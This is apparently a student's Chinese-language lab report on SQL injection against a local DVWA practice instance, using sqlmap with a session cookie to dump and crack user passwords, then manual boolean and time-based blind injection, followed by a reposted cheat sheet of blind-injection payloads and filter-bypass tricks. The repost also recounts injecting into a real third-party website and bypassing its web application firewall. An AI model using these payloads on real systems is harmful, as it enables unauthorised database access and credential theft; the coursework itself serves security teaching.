avatar

漏洞测试作业十二:SQL注入

题目

基于DVWA里的SQL盲注案例,实施手工盲注,参考课本,撰写实验报告

解答

使用sqlmap

安装owasp

解压压缩包,用vmware打开

image-20200609110659285

登录

image-20200609110759362

访问http://192.168.89.145

image-20200609111042872

安装成功

选择 Damn Vulnerable Web Application,输入用户名和密码,进行登录,用户名密码均为user

设置安全级别为low

进行攻击

选择sql injection,在userID处输入‘

image-20200609113019862

输入1

image-20200609113328662

查看源码image-20200609113414402

<?php    

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

复制输入1后的网址,运行sqlmap

image-20200609114119796

设置代理

更改浏览器设置

image-20200609114412463
拦截cookie

安装paros,打开,模拟会话劫持攻击

sudo apt-get install paros

得到网站请求痕迹,找到seession id

image-20200609115156541

将sessid赋给cookie,传给浏览器

使用sqlmap
sqlmap -u "http://192.168.89.145/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vprbcjsqmv3uoad7an8ofdmpq3; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada"

image-20200609115940523

列举数据库

sqlmap -u "http://192.168.89.145/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vprbcjsqmv3uoad7an8ofdmpq3; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --dbs
image-20200609120230837

列举表

sqlmap -u "http://192.168.89.145/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vprbcjsqmv3uoad7an8ofdmpq3; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --tables -D dvwa
image-20200609120353705

列举列

sqlmap -u "http://192.168.89.145/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vprbcjsqmv3uoad7an8ofdmpq3; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --columns -T users -D dvwa

image-20200609120507408看到有password

sqlmap -u "http://192.168.89.145/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vprbcjsqmv3uoad7an8ofdmpq3; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --dump -C "user,password" columns -T users -D dvwa

得到了加密后的密码

image-20200609120745316

进行字典攻击

image-20200609121010789

攻击成功

手工盲注

image-20200611203943034

判断是否存在注入,注入是字符型还是数字型

输入1

显示想用用户存在

image-20200611204044753

输入1’ and 1=1 #

单引号为了闭合原来的SQL语句中的第一个单引号,后面的#为了闭合后面的单引号,运行后显示存在

image-20200611204227707

输入1‘ and 1=2 #

显示不存在

image-20200611204413166

输入1 and 1=2

因为mysql对于数值型字段的输入如果有非字符,则只取前面的有效部分,所以也能输出

image-20200611210706261

猜解当前数据库名

长度

输入1’ and length(database())=1 #

image-20200611205754892

输入1’ and length(database())=2 #

image-20200611205754892

输入1’ and length(database())=3 #

image-20200611205758611

输入1’ and length(database())=4 #

有返回值,说明数据库名为4位

image-20200611205948776
具体字符

输入1’ and ascii(substr(database(),1,1))>97 #

image-20200611210751025

输入1’ and ascii(substr(database(),1,1))<122 #

image-20200611210827790

输入1’ and ascii(substr(database(),1,1))<109 #

image-20200611210847450

输入1’ and ascii(substr(database(),1,1))<103 #

image-20200611210911350

输入1’ and ascii(substr(database(),1,1))<100 #

image-20200611210932554

输入1’ and ascii(substr(database(),1,1))>100 #

image-20200611211048203

说明第一个字符ascii=100,所以是‘d’

第二个字符ascii=118,所以是’v‘

image-20200611211512062

第三个字符ascii=100,所以是‘w’

image-20200611212111429

第四个字符ascii=97,所以是’a‘

image-20200611211734950

数据库名’dvwa‘

猜解数据库中的表名

猜解数据库中表的数量

输入1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #

image-20200611212655336

输入1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

image-20200611212742594

说明数据库中有两个表

猜表名长度

输入 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

image-20200611212655336

输入 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

image-20200611213106462

说明第一个表名长度为9

二分猜表名

输入 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

存在

输入 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #

存在

输入 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

存在

image-20200611214209154

说明第一个字母为’g’

第二个字母为117’u’

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 #

第三个字母为101‘e’

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101#

猜解表中字段名

输入 1’ and (select count(column_name) from information_schema.columns where table_name=’users’)=6 #

显示存在,说明users表中有六个字段,==注:和书中不同==

image-20200611220812815

猜解字段名

输入 1’ and length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=1 #
不存在
输入 1’ and length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=7 #
存在

image-20200611221624536

说明users表的第一个字段为7个字符长度

猜解所有字段名

输入1’ and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name=”users” limit 1,1)=102#
存在

image-20200611225149155

猜解表中数据

输入1’ and (select ascii(substr(user,1,1)) from users limit 1,1)>1 #

image-20200611225736407

时间盲注

判断是否存在注入

输入1’ and sleep(5),页面感到明显延迟

输入1 and sleep(5),没有延迟

猜解当前数据库名字的长度

1’ and if(length(database())=1,sleep(5),1)#,没有延迟
1’ and if(length(database())=4,sleep(5),1)#,有延迟

采用二分法猜解数据库名

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

总结(转)

看到了一篇不错的总结:https://www.cnblogs.com/kyx599/articles/12345471.html

以下为转载内容

返回主页

sql盲注 :布尔注入及时间注入(合天网安学习整理)

盲注:#

盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。
盲注分为两类:
  1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
  2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

基于布尔的盲注#

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

注意比如 ‘ ” 的注释通常用 –+ 或者 –%20 或者#来注释

注意闭合相关的语句比如 )’ “等

用limit的原因是由于在页面显示的数据不够所有来限制其输出,然后通过limit中数字的变化来把所有的数据求出来

注意语法语言的不同会导致注释的不同,所有注释符要注意变通

Payload#

网上的payload一般是利用ascii()、substr()、length()结合进行利用

  • 获取数据库长度
and (select length(database()))=长度  #可以通过大于等于等来进行猜测以下同理
#database 数据库
  • 逐字猜解数据库名
and (select ascii(substr(database(),位数,1)))=ascii码  #位数的变化及从1,2,3变化即可通过ascii码以及猜解的数据库长度求出数据库的库名
  • 猜解表名数量
and (select count(table_name) from information_schema.tables where table_schema=database())=数量 
# information_schema.tables 专门用来储存所以表,5.0以上版本才有
  • 猜解某个表长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度 #同理n从0来表示变化的表来求该库下的对应的表的长度
  • 逐位猜解表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables 
where table_schema = database() limit n,1)=ascii码 #从前面的1变化是求表名,而n变化是对应的库中的表
  • 猜解列名数量
and (select count(*) from information_schema.columns where table_schema =
database() and table_name = 表名)=数量#information_schema.columns 专门用来存储所有的列
  • 猜解某个列长度
and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度
  • 逐位猜解列名
and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
  • 判断数据的数量
and (select count(列名) from 表名)=数量
  • 猜解某条数据的长度
and (select length(列名) from 表名 limit n,1)=长度
  • 逐位猜解数据
and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii码

盲注tips#

过滤了substr函数怎么办#

用如下函数

left(str,index) 从左边第index开始截取  
right(str,index) 从右边第index开始截取
substring(str,index) 从左边index开始截取
mid(str,index,ken) 截取str 从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
过滤了等于号怎么办?#

1、用in()

img

2、用like

img

过滤了ascii()怎么办?#

hex() bin() ord()

过滤了字段名怎么办?#

1、order by 盲注

条件:有回显,给出字段结构

order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序,不区分大小写。先看下id为1的查询结果

img

执行如下payload

select * from users where id=1 union select 1,'d',3 order by 2

img发现我们联合查询的数据d排在前面
再执行如下payload

select * from users where id=1 union select 1,'z',3 order by 2

img发现联合查询的数据z排在后面了。这是什么意思呢?第一次联合查询的d,排在前面,是因为id为1的数据第一位是d,所以排在前面了。而id为1的数据第一位不是z,所以z就排在后面了,我们可以利用这个特性来进行布尔盲注,只要猜0-9,a-z,逐字猜解就好

2、子查询

这个东西没啥好解释的,直接看payload吧

select * from users where id=-1 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)x

img

实例演示#

一个卖吃鸡外挂的网站

img,

创建订单那存在SQL注入,利用上面常规payload获取到数据库名了,数据库名为chiji,进行到获取表数量就开始拦截了。img发现是360主机卫士拦截了,本来想按照bypass老哥发的文章进行绕过的,发现各种方法都不行,可能是站长修改了规则。自己测试,发现select 1不拦截。select 1 from不拦截。select 1 from 1拦截。所以我们要破坏select from的结构才能进行绕过。后来询问@撕夜师傅发现去掉from前面的空格即可绕过。后面的步骤参考上面的payload即可

基于时间的盲注#

布尔盲注是根据页面正常否进行注入,而时间盲注则是通过SQL语句查询的时间来进行注入,一般是在页面无回显,无报错的情况下使用

可以通过F12来看其页面回显的时间与布尔盲注是一样的

  • 猜解数据库长度
and if((select length(database()))=长度,sleep(6),0)
  • 猜解数据库名
and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)
  • 判断表名的数量
and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)
  • 判断某个表名的长度
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)
  • 逐位猜表名
and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)
  • 判断列名数量
and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)
  • 判断某个列名的长度
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)
  • 逐位猜列名
and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)
  • 判断数据的数量
and if((select count(列名) from 表名)=个数,sleep(6),0)
  • 判断某个数据的长度
and if((select length(列名) from 表名)=长度,sleep(6),0)
  • 逐位猜数据
and if((select ascii(substr(列名,n,1)) from 表名)=ascii码,sleep(6),0)

时间盲注小tips#

如果过滤了sleep,还可以用benchmark(),这个函数第一个值填要执行的次数,第二个填写要执行的表达式

select * from users where id=1 and if(ascii(substring((database()),1,1))>1,(select benchmark(10000000,md5(0x41))),1)

img

转载文章#

https://sqlmap.wiki/post/sql%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0%E4%B9%8B%E7%9B%B2%E6%B3%A8/

https://www.jianshu.com/p/65f05e7cc957

作者:delusion

出处:https://www.cnblogs.com/kyx599/articles/12345471.html

版权:本文采用「署名 4.0 国际」知识共享许可协议进行许可。

分类: SQL注入

1

0

posted @ 2020-02-22 15:12 &delusion 阅读(142) 评论(0) 编辑 收藏

注册用户登录后才能发表评论,请 登录注册访问 网站首页。

Copyright © 2020 &delusion
Powered by .NET Core on Kubernetes & Theme Silence v2.0.2& Theme Silence v2.0.2

Author: Michelle19l
Link: https://gitee.com/michelle19l/michelle19l/2020/06/09/漏测作业/漏测作业十二/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付寶
    支付寶